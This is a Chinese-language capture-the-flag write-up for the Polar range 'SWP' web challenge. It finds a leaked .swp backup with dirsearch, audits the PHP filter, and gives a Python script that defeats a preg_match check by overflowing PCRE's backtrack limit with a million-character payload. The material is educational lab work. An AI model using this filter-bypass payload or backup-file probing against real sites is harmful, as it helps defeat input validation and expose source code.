Polar靶场-Web简单题目记录（1-8）

Polar靶场-SWP题目

题目考查点：目录探测+代码审计
题目使用工具：dirsearch

查看题目提示，需要查看swp文件

扫描目录发现/.index.php.swp

访问查看swp文件，发现存在代码

通过对代码分析：

正则验证函数：

jiuzhe()：函数使用preg_match('/sys.*nb/is', $xdmtql)：进行模式匹配。该正则表达式匹配包含 "sys" 后接任意字符（包括换行符，.符号通过s修饰符匹配所有字符），最后以 "nb" 结尾的字符串（例如 "sysXnb" 或 "sys\nNB"），且不区分大小写（i修饰符)。

1.输入处理逻辑

当输入参数xdmtql非数组时，依次执行以下检查：① 若jiuzhe()返回false（即未匹配正则），则进一步检查字符串是否包含固定子串 "sys nb"（需严格匹配空格），存在则输出 flag。② 若jiuzhe()返回true（正则匹配成功），则输出 "nijilenijile"。

2.绕过关键点

需构造输入既绕过正则匹配（使jiuzhe()返回false），又包含 "sys nb" 子串。可能的方式包括：
回溯次数限制绕过：提交超长字符串（如 "sys" 后接百万字符 +"nb"），触发 PHP 的 PCRE 回溯限制（默认 1,000,000 次），导致preg_match()返回false。此时若字符串中某处存在 "sys nb"，可满足strpos条件。
换行符干扰：尝试提交 "sys%0anb"（换行符可能干扰正则解析但保留子串匹配），但需注意s修饰符允许.匹配换行符，此方法可能失效。

import requests
import validators
from time import sleep

url = "靶场url"
data = {"xdmtql": "sys nb" + "a" * 999999}

def send_request(url, data, retries=3, delay=2):
    if not validators.url(url):
        print("提供的URL无效，请检查链接的合法性。")
        return None

    for attempt in range(retries):
        try:
            response = requests.post(url, data=data, timeout=10)
            response.raise_for_status()  # 检查HTTP状态码
            return response.content
        except requests.exceptions.RequestException as e:
            print(f"请求失败（尝试 {attempt + 1}/{retries}）: {e}")
            if attempt < retries - 1:
                print(f"正在重试，等待 {delay} 秒...")
                sleep(delay)
            else:
                print("所有重试均失败，请检查网络连接或稍后重试。")
    return None

response_content = send_request(url, data)
if response_content:
    print("请求成功！")
    print("响应内容：")
    print(response_content)
else:
    print("无法获取响应内容。")